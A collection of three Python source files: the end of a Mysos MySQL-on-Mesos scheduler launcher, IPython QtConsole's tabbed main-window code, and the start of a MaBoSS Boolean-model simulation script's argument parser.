'--work_dir', dest='work_dir', default=os.path.join(tempfile.gettempdir(), 'mysos'), help="Directory path to place Mysos work directories, e.g., web assets, state files if " "--state_storage=local. Default to a system temp directory.") app.add_option( '--state_storage', dest='state_storage', default='zk', help="Mechanism to persist scheduler state. Available options are 'zk' and 'local'. If 'zk' " "is chosen, the scheduler state is stored under <zk_url>/state; see --zk_url. Otherwise " "'local' is chosen and the state is persisted under <work_dir>/state; see --work_dir") app.add_option( '--scheduler_keypath', dest='scheduler_keypath', help="Path to the key file that the scheduler uses to store secrets such as MySQL " "cluster passwords. This key must be exactly 32 bytes long") app.add_option( '--framework_failover_timeout', dest='framework_failover_timeout', default='14d', help='Time after which Mysos framework is considered deleted. This implies losing all tasks. ' 'SHOULD BE VERY HIGH') # TODO(jyx): Flags like this are generally optional but specific executor implementations may # require them. Consider adding validators that can be plugged in so configuration errors can be # caught in the scheduler. app.add_option( '--installer_args', dest='installer_args', default=None, help='Arguments for MySQL installer directly passed along to and parsed by the installer. ' 'e.g., a serialized JSON string' ) app.add_option( '--backup_store_args', dest='backup_store_args', default=None, help="Arguments for the store for MySQL backups. Its use and format are defined by the " "backup store implementation. e.g., It can be a serialized JSON string" ) app.add_option( '--framework_authentication_file', dest='framework_authentication_file', default=None, help="Path to the key file for authenticating the framework against Mesos master. Framework " "will fail to register with Mesos if authentication is required by Mesos and this " "option is not provided" ) def main(args, options): log.info("Options in use: %s", options) if not options.api_port: app.error('Must specify --port') if not options.mesos_master: app.error('Must specify --mesos_master') if not options.framework_user: app.error('Must specify --framework_user') if not options.executor_uri: app.error('Must specify --executor_uri') if not options.executor_cmd: app.error('Must specify --executor_cmd') if not options.zk_url: app.error('Must specify --zk_url') if not options.admin_keypath: app.error('Must specify --admin_keypath') if not options.scheduler_keypath: app.error('Must specify --scheduler_keypath') try: election_timeout = parse_time(options.election_timeout) framework_failover_timeout = parse_time(options.framework_failover_timeout) except InvalidTime as e: app.error(e.message) try: _, zk_servers, zk_root = zookeeper.parse(options.zk_url) except Exception as e: app.error("Invalid --zk_url: %s" % e.message) web_assets_dir = os.path.join(options.work_dir, "web") pkgutil.unpack_assets(web_assets_dir, MYSOS_MODULE, ASSET_RELPATH) log.info("Extracted web assets into %s" % options.work_dir) fw_principal = None fw_secret = None if options.framework_authentication_file: try: with open(options.framework_authentication_file, "r") as f: cred = yaml.load(f) fw_principal = cred["principal"] fw_secret = cred["secret"] log.info("Loaded credential (principal=%s) for framework authentication" % fw_principal) except IOError as e: app.error("Unable to read the framework authentication key file: %s" % e) except (KeyError, yaml.YAMLError) as e: app.error("Invalid framework authentication key file format %s" % e) scheduler_key = None try: with open(options.scheduler_keypath, 'rb') as f: scheduler_key = f.read().strip() if not scheduler_key: raise ValueError("The key file is empty") except Exception as e: app.error("Cannot read --scheduler_keypath: %s" % e) log.info("Starting Mysos scheduler") kazoo = KazooClient(zk_servers) kazoo.start() if options.state_storage == 'zk': log.info("Using ZooKeeper (path: %s) for state storage" % zk_root) state_provider = ZooKeeperStateProvider(kazoo, zk_root) else: log.info("Using local disk for state storage") state_provider = LocalStateProvider(options.work_dir) try: state = state_provider.load_scheduler_state() except StateProvider.Error as e: app.error(e.message) if state: log.info("Successfully restored scheduler state") framework_info = state.framework_info if framework_info.HasField('id'): log.info("Recovered scheduler's FrameworkID is %s" % framework_info.id.value) else: log.info("No scheduler state to restore") framework_info = FrameworkInfo( user=options.framework_user, name=FRAMEWORK_NAME, checkpoint=True, failover_timeout=framework_failover_timeout.as_(Time.SECONDS), role=options.framework_role) if fw_principal: framework_info.principal = fw_principal state = Scheduler(framework_info) state_provider.dump_scheduler_state(state) scheduler = MysosScheduler( state, state_provider, options.framework_user, options.executor_uri, options.executor_cmd, kazoo, options.zk_url, election_timeout, options.admin_keypath, scheduler_key, installer_args=options.installer_args, backup_store_args=options.backup_store_args, executor_environ=options.executor_environ, framework_role=options.framework_role) if fw_principal and fw_secret: cred = Credential(principal=fw_principal, secret=fw_secret) scheduler_driver = mesos.native.MesosSchedulerDriver( scheduler, framework_info, options.mesos_master, cred) else: scheduler_driver = mesos.native.MesosSchedulerDriver( scheduler, framework_info, options.mesos_master) scheduler_driver.start() server = HttpServer() server.mount_routes(MysosServer(scheduler, web_assets_dir)) et = ExceptionalThread( target=server.run, args=('0.0.0.0', options.api_port, 'cherrypy')) et.daemon = True et.start() try: # Wait for the scheduler to stop. # The use of 'stopped' event instead of scheduler_driver.join() is necessary to stop the # process with SIGINT. while not scheduler.stopped.wait(timeout=0.5): pass except KeyboardInterrupt: log.info('Interrupted, exiting.') else: log.info('Scheduler exited.') app.shutdown(1) # Mysos scheduler is supposed to be long-running thus the use of exit status 1. app.main()
mainwindow.py
"""The Qt MainWindow for the QtConsole This is a tabbed pseudo-terminal of IPython sessions, with a menu bar for common actions. Authors: * Evan Patterson * Min RK * Erik Tollerud * Fernando Perez * Bussonnier Matthias * Thomas Kluyver * Paul Ivanov """ #----------------------------------------------------------------------------- # Imports #----------------------------------------------------------------------------- # stdlib imports import sys import re import webbrowser import ast from threading import Thread # System library imports from IPython.external.qt import QtGui,QtCore def background(f): """call a function in a simple thread, to prevent blocking""" t = Thread(target=f) t.start() return t #----------------------------------------------------------------------------- # Classes #----------------------------------------------------------------------------- class MainWindow(QtGui.QMainWindow): #--------------------------------------------------------------------------- # 'object' interface #--------------------------------------------------------------------------- _magic_menu_dict = {} def __init__(self, app, confirm_exit=True, new_frontend_factory=None, slave_frontend_factory=None, ): """ Create a tabbed MainWindow for managing IPython FrontendWidgets Parameters ---------- app : reference to QApplication parent confirm_exit : bool, optional Whether we should prompt on close of tabs new_frontend_factory : callable A callable that returns a new IPythonWidget instance, attached to its own running kernel. slave_frontend_factory : callable A callable that takes an existing IPythonWidget, and returns a new IPythonWidget instance, attached to the same kernel. """ super(MainWindow, self).__init__() self._kernel_counter = 0 self._app = app self.confirm_exit = confirm_exit self.new_frontend_factory = new_frontend_factory self.slave_frontend_factory = slave_frontend_factory self.tab_widget = QtGui.QTabWidget(self) self.tab_widget.setDocumentMode(True) self.tab_widget.setTabsClosable(True) self.tab_widget.tabCloseRequested[int].connect(self.close_tab) self.setCentralWidget(self.tab_widget) # hide tab bar at first, since we have no tabs: self.tab_widget.tabBar().setVisible(False) # prevent focus in tab bar self.tab_widget.setFocusPolicy(QtCore.Qt.NoFocus) def update_tab_bar_visibility(self): """ update visibility of the tabBar depending of the number of tab 0 or 1 tab, tabBar hidden 2+ tabs, tabBar visible send a self.close if number of tab ==0 need to be called explicitly, or be connected to tabInserted/tabRemoved """ if self.tab_widget.count() <= 1: self.tab_widget.tabBar().setVisible(False) else: self.tab_widget.tabBar().setVisible(True) if self.tab_widget.count()==0 : self.close() @property def next_kernel_id(self): """constantly increasing counter for kernel IDs""" c = self._kernel_counter self._kernel_counter += 1 return c @property def active_frontend(self): return self.tab_widget.currentWidget() def create_tab_with_new_frontend(self): """create a new frontend and attach it to a new tab""" widget = self.new_frontend_factory() self.add_tab_with_frontend(widget) def create_tab_with_current_kernel(self): """create a new frontend attached to the same kernel as the current tab""" current_widget = self.tab_widget.currentWidget() current_widget_index = self.tab_widget.indexOf(current_widget) current_widget_name = self.tab_widget.tabText(current_widget_index) widget = self.slave_frontend_factory(current_widget) if 'slave' in current_widget_name: # don't keep stacking slaves name = current_widget_name else: name = '(%s) slave' % current_widget_name self.add_tab_with_frontend(widget,name=name) def close_tab(self,current_tab): """ Called when you need to try to close a tab. It takes the number of the tab to be closed as argument, or a reference to the widget inside this tab """ # let's be sure "tab" and "closing widget" are respectively the index # of the tab to close and a reference to the frontend to close if type(current_tab) is not int : current_tab = self.tab_widget.indexOf(current_tab) closing_widget=self.tab_widget.widget(current_tab) # when trying to be closed, widget might re-send a request to be # closed again, but will be deleted when event will be processed. So # need to check that widget still exists and skip if not. One example # of this is when 'exit' is sent in a slave tab. 'exit' will be # re-sent by this function on the master widget, which ask all slave # widgets to exit if closing_widget==None: return #get a list of all slave widgets on the same kernel. slave_tabs = self.find_slave_widgets(closing_widget) keepkernel = None #Use the prompt by default if hasattr(closing_widget,'_keep_kernel_on_exit'): #set by exit magic keepkernel = closing_widget._keep_kernel_on_exit # If signal sent by exit magic (_keep_kernel_on_exit, exist and not None) # we set local slave tabs._hidden to True to avoid prompting for kernel # restart when they get the signal. and then "forward" the 'exit' # to the main window if keepkernel is not None: for tab in slave_tabs: tab._hidden = True if closing_widget in slave_tabs: try : self.find_master_tab(closing_widget).execute('exit') except AttributeError: self.log.info("Master already closed or not local, closing only current tab") self.tab_widget.removeTab(current_tab) self.update_tab_bar_visibility() return kernel_manager = closing_widget.kernel_manager if keepkernel is None and not closing_widget._confirm_exit: # don't prompt, just terminate the kernel if we own it # or leave it alone if we don't keepkernel = closing_widget._existing if keepkernel is None: #show prompt if kernel_manager and kernel_manager.channels_running: title = self.window().windowTitle() cancel = QtGui.QMessageBox.Cancel okay = QtGui.QMessageBox.Ok if closing_widget._may_close: msg = "You are closing the tab : "+'"'+self.tab_widget.tabText(current_tab)+'"' info = "Would you like to quit the Kernel and close all attached Consoles as well?" justthis = QtGui.QPushButton("&No, just this Tab", self) justthis.setShortcut('N') closeall = QtGui.QPushButton("&Yes, close all", self) closeall.setShortcut('Y') # allow ctrl-d ctrl-d exit, like in terminal closeall.setShortcut('Ctrl+D') box = QtGui.QMessageBox(QtGui.QMessageBox.Question, title, msg) box.setInformativeText(info) box.addButton(cancel) box.addButton(justthis, QtGui.QMessageBox.NoRole) box.addButton(closeall, QtGui.QMessageBox.YesRole) box.setDefaultButton(closeall) box.setEscapeButton(cancel) pixmap = QtGui.QPixmap(self._app.icon.pixmap(QtCore.QSize(64,64))) box.setIconPixmap(pixmap) reply = box.exec_() if reply == 1: # close All for slave in slave_tabs: background(slave.kernel_manager.stop_channels) self.tab_widget.removeTab(self.tab_widget.indexOf(slave)) closing_widget.execute("exit") self.tab_widget.removeTab(current_tab) background(kernel_manager.stop_channels) elif reply == 0: # close Console if not closing_widget._existing: # Have kernel: don't quit, just close the tab closing_widget.execute("exit True") self.tab_widget.removeTab(current_tab) background(kernel_manager.stop_channels) else: reply = QtGui.QMessageBox.question(self, title, "Are you sure you want to close this Console?"+ "\nThe Kernel and other Consoles will remain active.", okay|cancel, defaultButton=okay ) if reply == okay: self.tab_widget.removeTab(current_tab) elif keepkernel: #close console but leave kernel running (no prompt) self.tab_widget.removeTab(current_tab) background(kernel_manager.stop_channels) else: #close console and kernel (no prompt) self.tab_widget.removeTab(current_tab) if kernel_manager and kernel_manager.channels_running: for slave in slave_tabs: background(slave.kernel_manager.stop_channels) self.tab_widget.removeTab(self.tab_widget.indexOf(slave)) kernel_manager.shutdown_kernel() background(kernel_manager.stop_channels) self.update_tab_bar_visibility() def add_tab_with_frontend(self,frontend,name=None): """ insert a tab with a given frontend in the tab bar, and give it a name """ if not name: name = 'kernel %i' % self.next_kernel_id self.tab_widget.addTab(frontend,name) self.update_tab_bar_visibility() self.make_frontend_visible(frontend) frontend.exit_requested.connect(self.close_tab) def next_tab(self): self.tab_widget.setCurrentIndex((self.tab_widget.currentIndex()+1)) def prev_tab(self): self.tab_widget.setCurrentIndex((self.tab_widget.currentIndex()-1)) def make_frontend_visible(self,frontend): widget_index=self.tab_widget.indexOf(frontend) if widget_index > 0 : self.tab_widget.setCurrentIndex(widget_index) def find_master_tab(self,tab,as_list=False): """ Try to return the frontend that owns the kernel attached to the given widget/tab. Only finds frontend owned by the current application. Selection based on port of the kernel might be inaccurate if several kernel on different ip use same port number. This function does the conversion tabNumber/widget if needed. Might return None if no master widget (non local kernel) Will crash IPython if more than 1 masterWidget When asList set to True, always return a list of widget(s) owning the kernel. The list might be empty or containing several Widget. """ #convert from/to int/richIpythonWidget if needed if isinstance(tab, int): tab = self.tab_widget.widget(tab) km=tab.kernel_manager #build list of all widgets widget_list = [self.tab_widget.widget(i) for i in range(self.tab_widget.count())] # widget that are candidate to be the owner of the kernel does have all the same port of the curent widget # And should have a _may_close attribute filtered_widget_list = [ widget for widget in widget_list if widget.kernel_manager.connection_file == km.connection_file and hasattr(widget,'_may_close') ] # the master widget is the one that may close the kernel master_widget= [ widget for widget in filtered_widget_list if widget._may_close] if as_list: return master_widget assert(len(master_widget)<=1 ) if len(master_widget)==0: return None return master_widget[0] def find_slave_widgets(self,tab): """return all the frontends that do not own the kernel attached to the given widget/tab. Only find frontends owned by the current application. Selection based on connection file of the kernel. This function does the conversion tabNumber/widget if needed. """ #convert from/to int/richIpythonWidget if needed if isinstance(tab, int): tab = self.tab_widget.widget(tab) km=tab.kernel_manager #build list of all widgets widget_list = [self.tab_widget.widget(i) for i in range(self.tab_widget.count())] # widget that are candidate not to be the owner of the kernel does have all the same port of the curent widget filtered_widget_list = ( widget for widget in widget_list if widget.kernel_manager.connection_file == km.connection_file) # Get a list of all widget owning the same kernel and removed it from # the previous cadidate. (better using sets ?) master_widget_list = self.find_master_tab(tab, as_list=True) slave_list = [widget for widget in filtered_widget_list if widget not in master_widget_list] return slave_list # Populate the menu bar with common actions and shortcuts def add_menu_action(self, menu, action, defer_shortcut=False): """Add action to menu as well as self So that when the menu bar is invisible, its actions are still available. If defer_shortcut is True, set the shortcut context to widget-only, where it will avoid conflict with shortcuts already bound to the widgets themselves. """ menu.addAction(action) self.addAction(action) if defer_shortcut: action.setShortcutContext(QtCore.Qt.WidgetShortcut) def init_menu_bar(self): #create menu in the order they should appear in the menu bar self.init_file_menu() self.init_edit_menu() self.init_view_menu() self.init_kernel_menu() self.init_magic_menu() self.init_window_menu() self.init_help_menu() def init_file_menu(self): self.file_menu = self.menuBar().addMenu("&File") self.new_kernel_tab_act = QtGui.QAction("New Tab with &New kernel", self, shortcut="Ctrl+T", triggered=self.create_tab_with_new_frontend) self.add_menu_action(self.file_menu, self.new_kernel_tab_act) self.slave_kernel_tab_act = QtGui.QAction("New Tab with Sa&me kernel", self, shortcut="Ctrl+Shift+T", triggered=self.create_tab_with_current_kernel) self.add_menu_action(self.file_menu, self.slave_kernel_tab_act) self.file_menu.addSeparator() self.close_action=QtGui.QAction("&Close Tab", self, shortcut=QtGui.QKeySequence.Close, triggered=self.close_active_frontend ) self.add_menu_action(self.file_menu, self.close_action) self.export_action=QtGui.QAction("&Save to HTML/XHTML", self, shortcut=QtGui.QKeySequence.Save, triggered=self.export_action_active_frontend ) self.add_menu_action(self.file_menu, self.export_action, True) self.file_menu.addSeparator() printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print) if printkey.matches("Ctrl+P") and sys.platform != 'darwin': # Only override the default if there is a collision. # Qt ctrl = cmd on OSX, so the match gets a false positive on OSX. printkey = "Ctrl+Shift+P" self.print_action = QtGui.QAction("&Print", self, shortcut=printkey, triggered=self.print_action_active_frontend) self.add_menu_action(self.file_menu, self.print_action, True) if sys.platform != 'darwin': # OSX always has Quit in the Application menu, only add it # to the File menu elsewhere. self.file_menu.addSeparator() self.quit_action = QtGui.QAction("&Quit", self, shortcut=QtGui.QKeySequence.Quit, triggered=self.close, ) self.add_menu_action(self.file_menu, self.quit_action) def init_edit_menu(self): self.edit_menu = self.menuBar().addMenu("&Edit") self.undo_action = QtGui.QAction("&Undo", self, shortcut=QtGui.QKeySequence.Undo, statusTip="Undo last action if possible", triggered=self.undo_active_frontend ) self.add_menu_action(self.edit_menu, self.undo_action) self.redo_action = QtGui.QAction("&Redo", self, shortcut=QtGui.QKeySequence.Redo, statusTip="Redo last action if possible", triggered=self.redo_active_frontend) self.add_menu_action(self.edit_menu, self.redo_action) self.edit_menu.addSeparator() self.cut_action = QtGui.QAction("&Cut", self, shortcut=QtGui.QKeySequence.Cut, triggered=self.cut_active_frontend ) self.add_menu_action(self.edit_menu, self.cut_action, True) self.copy_action = QtGui.QAction("&Copy", self, shortcut=QtGui.QKeySequence.Copy, triggered=self.copy_active_frontend ) self.add_menu_action(self.edit_menu, self.copy_action, True) self.copy_raw_action = QtGui.QAction("Copy (&Raw Text)", self, shortcut="Ctrl+Shift+C", triggered=self.copy_raw_active_frontend ) self.add_menu_action(self.edit_menu, self.copy_raw_action, True) self.paste_action = QtGui.QAction("&Paste", self, shortcut=QtGui.QKeySequence.Paste, triggered=self.paste_active_frontend ) self.add_menu_action(self.edit_menu, self.paste_action, True) self.edit_menu.addSeparator() selectall = QtGui.QKeySequence(QtGui.QKeySequence.SelectAll) if selectall.matches("Ctrl+A") and sys.platform != 'darwin': # Only override the default if there is a collision. # Qt ctrl = cmd on OSX, so the match gets a false positive on OSX. selectall = "Ctrl+Shift+A" self.select_all_action = QtGui.QAction("Select &All", self, shortcut=selectall, triggered=self.select_all_active_frontend ) self.add_menu_action(self.edit_menu, self.select_all_action, True) def init_view_menu(self): self.view_menu = self.menuBar().addMenu("&View") if sys.platform != 'darwin': # disable on OSX, where there is always a menu bar self.toggle_menu_bar_act = QtGui.QAction("Toggle &Menu Bar", self, shortcut="Ctrl+Shift+M", statusTip="Toggle visibility of menubar", triggered=self.toggle_menu_bar) self.add_menu_action(self.view_menu, self.toggle_menu_bar_act) fs_key = "Ctrl+Meta+F" if sys.platform == 'darwin' else "F11" self.full_screen_act = QtGui.QAction("&Full Screen", self, shortcut=fs_key, statusTip="Toggle between Fullscreen and Normal Size", triggered=self.toggleFullScreen) self.add_menu_action(self.view_menu, self.full_screen_act) self.view_menu.addSeparator() self.increase_font_size = QtGui.QAction("Zoom &In", self, shortcut=QtGui.QKeySequence.ZoomIn, triggered=self.increase_font_size_active_frontend ) self.add_menu_action(self.view_menu, self.increase_font_size, True) self.decrease_font_size = QtGui.QAction("Zoom &Out", self, shortcut=QtGui.QKeySequence.ZoomOut, triggered=self.decrease_font_size_active_frontend ) self.add_menu_action(self.view_menu, self.decrease_font_size, True) self.reset_font_size = QtGui.QAction("Zoom &Reset", self, shortcut="Ctrl+0", triggered=self.reset_font_size_active_frontend ) self.add_menu_action(self.view_menu, self.reset_font_size, True) self.view_menu.addSeparator() self.clear_action = QtGui.QAction("&Clear Screen", self, shortcut='Ctrl+L', statusTip="Clear the console", triggered=self.clear_magic_active_frontend) self.add_menu_action(self.view_menu, self.clear_action) def init_kernel_menu(self): self.kernel_menu = self.menuBar().addMenu("&Kernel") # Qt on OSX maps Ctrl to Cmd, and Meta to Ctrl # keep the signal shortcuts to ctrl, rather than # platform-default like we do elsewhere. ctrl = "Meta" if sys.platform == 'darwin' else "Ctrl" self.interrupt_kernel_action = QtGui.QAction("&Interrupt current Kernel", self, triggered=self.interrupt_kernel_active_frontend, shortcut=ctrl+"+C", ) self.add_menu_action(self.kernel_menu, self.interrupt_kernel_action) self.restart_kernel_action = QtGui.QAction("&Restart current Kernel", self, triggered=self.restart_kernel_active_frontend, shortcut=ctrl+"+.", ) self.add_menu_action(self.kernel_menu, self.restart_kernel_action) self.kernel_menu.addSeparator() self.confirm_restart_kernel_action = QtGui.QAction("&Confirm kernel restart", self, checkable=True, checked=self.active_frontend.confirm_restart, triggered=self.toggle_confirm_restart_active_frontend ) self.add_menu_action(self.kernel_menu, self.confirm_restart_kernel_action) self.tab_widget.currentChanged.connect(self.update_restart_checkbox) def _make_dynamic_magic(self,magic): """Return a function `fun` that will execute `magic` on active frontend. Parameters ---------- magic : string string that will be executed as is when the returned function is called Returns ------- fun : function function with no parameters, when called will execute `magic` on the current active frontend at call time See Also -------- populate_all_magic_menu : generate the "All Magics..." menu Notes ----- `fun` executes `magic` in active frontend at the moment it is triggered, not the active frontend at the moment it was created. This function is mostly used to create the "All Magics..." Menu at run time. """ # need two level nested function to be sure to pass magic # to active frontend **at run time**. def inner_dynamic_magic(): self.active_frontend.execute(magic) inner_dynamic_magic.__name__ = "dynamics_magic_s" return inner_dynamic_magic def populate_all_magic_menu(self, listofmagic=None): """Clean "All Magics..." menu and repopulate it with `listofmagic` Parameters ---------- listofmagic : string, repr() of a list of strings, send back by the kernel Notes ----- `listofmagic`is a repr() of list because it is fed with the result of a 'user_expression' """ for k,v in list(self._magic_menu_dict.items()): v.clear() self.all_magic_menu.clear() protected_magic = set(["more","less","load_ext","pycat","loadpy","load","save","psource"]) mlist=ast.literal_eval(listofmagic) for magic in mlist: cell = (magic['type'] == 'cell') name = magic['name'] mclass = magic['class'] if cell : prefix='%%' else : prefix='%' magic_menu = self._get_magic_menu(mclass) if name in protected_magic: suffix = '?' else : suffix = '' pmagic = '%s%s%s'%(prefix,name,suffix) xaction = QtGui.QAction(pmagic, self, triggered=self._make_dynamic_magic(pmagic) ) magic_menu.addAction(xaction) self.all_magic_menu.addAction(xaction) def update_all_magic_menu(self): """ Update the list of magics in the "All Magics..." Menu Request the kernel with the list of available magics and populate the menu with the list received back """ self.active_frontend._silent_exec_callback('get_ipython().magics_manager.lsmagic_info()', self.populate_all_magic_menu) def _get_magic_menu(self,menuidentifier, menulabel=None): """return a submagic menu by name, and create it if needed parameters: ----------- menulabel : str Label for the menu Will infere the menu name from the identifier at creation if menulabel not given. To do so you have too give menuidentifier as a CamelCassedString """ menu = self._magic_menu_dict.get(menuidentifier,None) if not menu : if not menulabel: menulabel = re.sub("([a-zA-Z]+)([A-Z][a-z])","\g<1> \g<2>",menuidentifier) menu = QtGui.QMenu(menulabel,self.magic_menu) self._magic_menu_dict[menuidentifier]=menu self.magic_menu.insertMenu(self.magic_menu_separator,menu) return menu def init_magic_menu(self): self.magic_menu = self.menuBar().addMenu("&Magic") self.magic_menu_separator = self.magic_menu.addSeparator() self.all_magic_menu = self._get_magic_menu("AllMagics", menulabel="&All Magics...") # This action should usually not appear as it will be cleared when menu # is updated at first kernel response. Though, it is necessary when # connecting through X-forwarding, as in this case, the menu is not # auto updated, SO DO NOT DELETE. self.pop = QtGui.QAction("&Update All Magic Menu ", self, triggered=self.update_all_magic_menu) self.add_menu_action(self.all_magic_menu, self.pop) # we need to populate the 'Magic Menu' once the kernel has answer at # least once let's do it immediately, but it's assured to works self.pop.trigger() self.reset_action = QtGui.QAction("&Reset", self, statusTip="Clear all variables from workspace", triggered=self.reset_magic_active_frontend) self.add_menu_action(self.magic_menu, self.reset_action) self.history_action = QtGui.QAction("&History", self, statusTip="show command history", triggered=self.history_magic_active_frontend) self.add_menu_action(self.magic_menu, self.history_action) self.save_action = QtGui.QAction("E&xport History ", self, statusTip="Export History as Python File", triggered=self.save_magic_active_frontend) self.add_menu_action(self.magic_menu, self.save_action) self.who_action = QtGui.QAction("&Who", self, statusTip="List interactive variables", triggered=self.who_magic_active_frontend) self.add_menu_action(self.magic_menu, self.who_action) self.who_ls_action = QtGui.QAction("Wh&o ls", self, statusTip="Return a list of interactive variables", triggered=self.who_ls_magic_active_frontend) self.add_menu_action(self.magic_menu, self.who_ls_action) self.whos_action = QtGui.QAction("Who&s", self, statusTip="List interactive variables with details", triggered=self.whos_magic_active_frontend) self.add_menu_action(self.magic_menu, self.whos_action) def init_window_menu(self): self.window_menu = self.menuBar().addMenu("&Window") if sys.platform == 'darwin': # add min/maximize actions to OSX, which lacks default bindings. self.minimizeAct = QtGui.QAction("Mini&mize", self, shortcut="Ctrl+m", statusTip="Minimize the window/Restore Normal Size", triggered=self.toggleMinimized) # maximize is called 'Zoom' on OSX for some reason self.maximizeAct = QtGui.QAction("&Zoom", self, shortcut="Ctrl+Shift+M", statusTip="Maximize the window/Restore Normal Size", triggered=self.toggleMaximized) self.add_menu_action(self.window_menu, self.minimizeAct) self.add_menu_action(self.window_menu, self.maximizeAct) self.window_menu.addSeparator() prev_key = "Ctrl+Shift+Left" if sys.platform == 'darwin' else "Ctrl+PgUp" self.prev_tab_act = QtGui.QAction("Pre&vious Tab", self, shortcut=prev_key, statusTip="Select previous tab", triggered=self.prev_tab) self.add_menu_action(self.window_menu, self.prev_tab_act) next_key = "Ctrl+Shift+Right" if sys.platform == 'darwin' else "Ctrl+PgDown" self.next_tab_act = QtGui.QAction("Ne&xt Tab", self, shortcut=next_key, statusTip="Select next tab", triggered=self.next_tab) self.add_menu_action(self.window_menu, self.next_tab_act) def init_help_menu(self): # please keep the Help menu in Mac Os even if empty. It will # automatically contain a search field to search inside menus and # please keep it spelled in English, as long as Qt Doesn't support # a QAction.MenuRole like HelpMenuRole otherwise it will lose # this search field functionality self.help_menu = self.menuBar().addMenu("&Help") # Help Menu self.intro_active_frontend_action = QtGui.QAction("&Intro to IPython", self, triggered=self.intro_active_frontend ) self.add_menu_action(self.help_menu, self.intro_active_frontend_action) self.quickref_active_frontend_action = QtGui.QAction("IPython &Cheat Sheet", self, triggered=self.quickref_active_frontend ) self.add_menu_action(self.help_menu, self.quickref_active_frontend_action) self.guiref_active_frontend_action = QtGui.QAction("&Qt Console", self, triggered=self.guiref_active_frontend ) self.add_menu_action(self.help_menu, self.guiref_active_frontend_action) self.onlineHelpAct = QtGui.QAction("Open Online &Help", self, triggered=self._open_online_help) self.add_menu_action(self.help_menu, self.onlineHelpAct) # minimize/maximize/fullscreen actions: def toggle_menu_bar(self): menu_bar = self.menuBar() if menu_bar.isVisible(): menu_bar.setVisible(False) else: menu_bar.setVisible(True) def toggleMinimized(self): if not self.isMinimized(): self.showMinimized() else: self.showNormal() def _open_online_help(self): filename="http://ipython.org/ipython-doc/stable/index.html" webbrowser.open(filename, new=1, autoraise=True) def toggleMaximized(self): if not self.isMaximized(): self.showMaximized() else: self.showNormal() # Min/Max imizing while in full screen give a bug # when going out of full screen, at least on OSX def toggleFullScreen(self): if not self.isFullScreen(): self.showFullScreen() if sys.platform == 'darwin': self.maximizeAct.setEnabled(False) self.minimizeAct.setEnabled(False) else: self.showNormal() if sys.platform == 'darwin': self.maximizeAct.setEnabled(True) self.minimizeAct.setEnabled(True) def close_active_frontend(self): self.close_tab(self.active_frontend) def restart_kernel_active_frontend(self): self.active_frontend.request_restart_kernel() def interrupt_kernel_active_frontend(self): self.active_frontend.request_interrupt_kernel() def toggle_confirm_restart_active_frontend(self): widget = self.active_frontend widget.confirm_restart = not widget.confirm_restart self.confirm_restart_kernel_action.setChecked(widget.confirm_restart) def update_restart_checkbox(self): if self.active_frontend is None: return widget = self.active_frontend self.confirm_restart_kernel_action.setChecked(widget.confirm_restart) def cut_active_frontend(self): widget = self.active_frontend if widget.can_cut(): widget.cut() def copy_active_frontend(self): widget = self.active_frontend widget.copy() def copy_raw_active_frontend(self): self.active_frontend._copy_raw_action.trigger() def paste_active_frontend(self): widget = self.active_frontend if widget.can_paste(): widget.paste() def undo_active_frontend(self): self.active_frontend.undo() def redo_active_frontend(self): self.active_frontend.redo() def reset_magic_active_frontend(self): self.active_frontend.execute("%reset") def history_magic_active_frontend(self): self.active_frontend.execute("%history") def save_magic_active_frontend(self): self.active_frontend.save_magic() def clear_magic_active_frontend(self): self.active_frontend.execute("%clear") def who_magic_active_frontend(self): self.active_frontend.execute("%who") def who_ls_magic_active_frontend(self): self.active_frontend.execute("%who_ls") def whos_magic_active_frontend(self): self.active_frontend.execute("%whos") def print_action_active_frontend(self): self.active_frontend.print_action.trigger() def export_action_active_frontend(self): self.active_frontend.export_action.trigger() def select_all_active_frontend(self): self.active_frontend.select_all_action.trigger() def increase_font_size_active_frontend(self): self.active_frontend.increase_font_size.trigger() def decrease_font_size_active_frontend(self): self.active_frontend.decrease_font_size.trigger() def reset_font_size_active_frontend(self): self.active_frontend.reset_font_size.trigger() def guiref_active_frontend(self): self.active_frontend.execute("%guiref") def intro_active_frontend(self): self.active_frontend.execute("?") def quickref_active_frontend(self): self.active_frontend.execute("%quickref") #--------------------------------------------------------------------------- # QWidget interface #--------------------------------------------------------------------------- def closeEvent(self, event): """ Forward the close event to every tabs contained by the windows """ if self.tab_widget.count() == 0: # no tabs, just close event.accept() return # Do Not loop on the widget count as it change while closing title = self.window().windowTitle() cancel = QtGui.QMessageBox.Cancel okay = QtGui.QMessageBox.Ok if self.confirm_exit: if self.tab_widget.count() > 1: msg = "Close all tabs, stop all kernels, and Quit?" else: msg = "Close console, stop kernel, and Quit?" info = "Kernels not started here (e.g. notebooks) will be left alone." closeall = QtGui.QPushButton("&Quit", self) closeall.setShortcut('Q') box = QtGui.QMessageBox(QtGui.QMessageBox.Question, title, msg) box.setInformativeText(info) box.addButton(cancel) box.addButton(closeall, QtGui.QMessageBox.YesRole) box.setDefaultButton(closeall) box.setEscapeButton(cancel) pixmap = QtGui.QPixmap(self._app.icon.pixmap(QtCore.QSize(64,64))) box.setIconPixmap(pixmap) reply = box.exec_() else: reply = okay if reply == cancel: event.ignore() return if reply == okay: while self.tab_widget.count() >= 1: # prevent further confirmations: widget = self.active_frontend widget._confirm_exit = False self.close_tab(widget) event.accept()
MaBoSS_specific_Linux.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on November 24 2017 @author: Jonas BÉAL jonas.beal@curie.fr """ #%% Imports #This script is an old version. Should be replaced by MaBoSS_specific.py, both for Mac and Linux users. # Imports and tests import sys import os import re import argparse import pandas as pd import time import multiprocessing as mp import numpy current_wd= os.getcwd() arg = sys.argv parser = argparse.ArgumentParser() #Required arguments parser.add_argument("model", help="name of MaBoSS files, without .cfg or .bnd extension (ex: 'CancerModel')") parser.add_argument("save_file", help="save_file is the name of the text file containing final probabilities of outputs, one simulation by line (ex: 'results.txt')") #Optional arguments for computation parameters parser.add_argument("-n","--num_nodes", type=int, help="nb of nodes for the MaBoSS version (ex: '100' to use MaBoSS_100n designed for model with 100 nodes)") parser.add_argument("-p","--num_processes", type=int, help="nb of parallel processes during simulations (ex: '3' if you want to simulate 3 profiles at the same time)") #Optional arguments for instantation parameters parser.add_argument("-i","--inputs", help="initial probabilities of inputs, alternatively called source nodes (i.e not regulated nodes), are set to the specified value, otherwise it will be 0.5 (ex: 'Nutrients:0.3,Androgen:0.6' results in 'Nutrients = 0.3[1], 0.7[0]' and same for Androgen)") 